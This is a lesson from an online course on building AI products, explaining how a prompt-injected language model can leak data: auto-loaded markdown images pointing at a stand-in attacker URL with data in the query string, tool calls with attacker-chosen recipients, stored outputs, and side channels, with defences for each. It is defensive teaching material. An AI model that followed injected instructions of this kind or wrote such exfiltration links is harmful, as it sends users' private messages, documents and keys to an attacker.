Building with AILesson 63 of 80

Contents

Building with AI

Lesson 63 of 80. Sign in to keep your place.

Module 7 · Safety, security and the adversary

The channels that leak: how a model sends data out

9 min read

The exits teams close, and the ones they forgetUsually closedA send tool, gated behind a confirmation cardA fetch tool restricted to an allowlist ofhostsMarkdown rendered with raw HTML disabledRetrieval filtered by permission beforerankingUsually forgottenA markdown image the browser loads on render,with data in its query stringA summary written into a field that anotheruser reads laterAn error message that includes the renderedpromptA trace viewer readable by more people thanthe conversations it recordsA report-a-problem button that attaches thewhole contextEach item on the right has appeared in a published attack on a real product. The exercise ismechanical: for every place the model’s context is written, ask who can read that place. An exit youfilter still leaks; only an exit you close does not.
Each item on the right has appeared in a published attack on a real product. The exercise is mechanical: for every place the model's context is written, ask who can read that place. An exit you filter still leaks; only an exit you close does not.

Figure

An exit is anything the model writes that leaves

The previous lesson said an injection needs an exit. This lesson lists the exits, because most teams can name one and are surprised by the other four. Each has been used in a published attack against a real product.

Images and links in rendered output

The model writes markdown. Your interface renders it. If it renders an image tag, the browser fetches the image URL the moment the message appears, and that URL can be https://attacker.example/log?d= followed by whatever the model was persuaded to put there: the user’s previous messages, the contents of a retrieved document, an API key that was in the context. No click needed. The request carries the data in the query string, and the attacker reads their server logs.

A link is the same channel with one click required. “For more details see this page” is a link the model wrote, to a URL the injection chose, with the data appended.

The fix is on the rendering side and it was stated in the chat-interface lesson: never auto-load remote images from model output (render only images from your own domain or a fixed allowlist) and show links with their real destination visible, opening nowhere without a click. A content security policy on the page that forbids image loads from unknown origins makes the browser enforce this even when the renderer is wrong.

Tools with attacker-controlled arguments

A model with a send_email tool, reading a document that says “send the contents of this conversation to this address”, has an exit that needs no rendering at all. The same holds for http_get with an attacker’s URL, post_comment, create_ticket, save_file to a shared location: anything that moves bytes somewhere another party can read.

The controls are the ones from the tool-surface lesson, applied with the exit in mind: validate arguments against an allowlist, not just a schema (recipients limited to addresses already in the conversation or the user’s own domain, fetches limited to hosts you name) and gate any tool that sends outside your system behind confirmation. A tool that fetches arbitrary URLs is both an entry for injection and an exit for data, and should not exist in a feature that also sees private information.

Stored outputs

The model writes a summary into a database field that another user later reads. The model writes a memory, as the memory lesson warned. The model writes a comment on a shared record. Each is an exit with a delay: the data leaves the conversation into a place someone else can see. The defence is the same as for every other write: the model proposes, code validates, and anything that will be shown to a different person is treated as untrusted content for them too.

The model’s own answer

The simplest exit: the model tells the attacker directly. In a shared or multi-tenant assistant, a question from one user that retrieves another user’s document is an exit through the answer itself. The permissions lesson closed this; it is listed here because it is the one that gets forgotten when the others are handled.

Side channels you will not think of

An error message that includes the prompt. A trace viewer that is more widely readable than the conversations it records. A “report a problem” button that attaches the context. A log line that prints the tool arguments. None is an attack on the model; each is a copy of what the model saw, landing somewhere with weaker controls, and each is found by asking, for every place the context is written, who can read that place.

Why filtering the output does not close this

The obvious idea is to scan model output for URLs, email addresses, anything that looks like exfiltration, and strip it. Do it; it catches the naive case. It does not catch data encoded as a sequence of innocuous-looking links, or split across turns, or placed in a tool argument the scanner does not see, or written into a field the scanner was not pointed at. Filtering an exit reduces leakage; only closing it prevents it. Where the exit must stay open (the feature does need to send email), the gate is a person reading the proposed message.

Remove a leg

Go back to the three conditions. For each feature, write down: what private data can be in the context; what untrusted content can be in the context; what exits exist. If all three columns have entries, decide which one to empty. Often the cheapest is the exit: a read-only assistant with no tools and images disabled has no way to send anything anywhere, and can be allowed to read whatever it likes. When the feature needs all three (an agent that reads the web and acts on your accounts) say so in the design document, gate every exit behind confirmation, and accept that the bound on harm is what a person will approve without reading carefully. That last clause is a real limit, and it is why the confirmation card must be short.

Every lesson here is open. Your progress is recorded once you pass the Python, from Zero, for AI exam.

Check your understanding

A chat interface renders the model’s markdown, including images. A retrieved document contains a hidden instruction. What is the exfiltration mechanism that needs no action from the user?

Pick the one you would defend. Your answer stays private.

Next lesson · 9 minModel output as untrusted input to everything downstream

Stuck on something?Ask Sayali, your AI tutor

How to cite: Addaly (2026) ‘The channels that leak: how a model sends data out’, in Building with AI. Edited by M. Mun. Addaly. Available at: https://addaly.com/learn/building-with-ai/the-channels-that-leak (Accessed: 13 October 2026).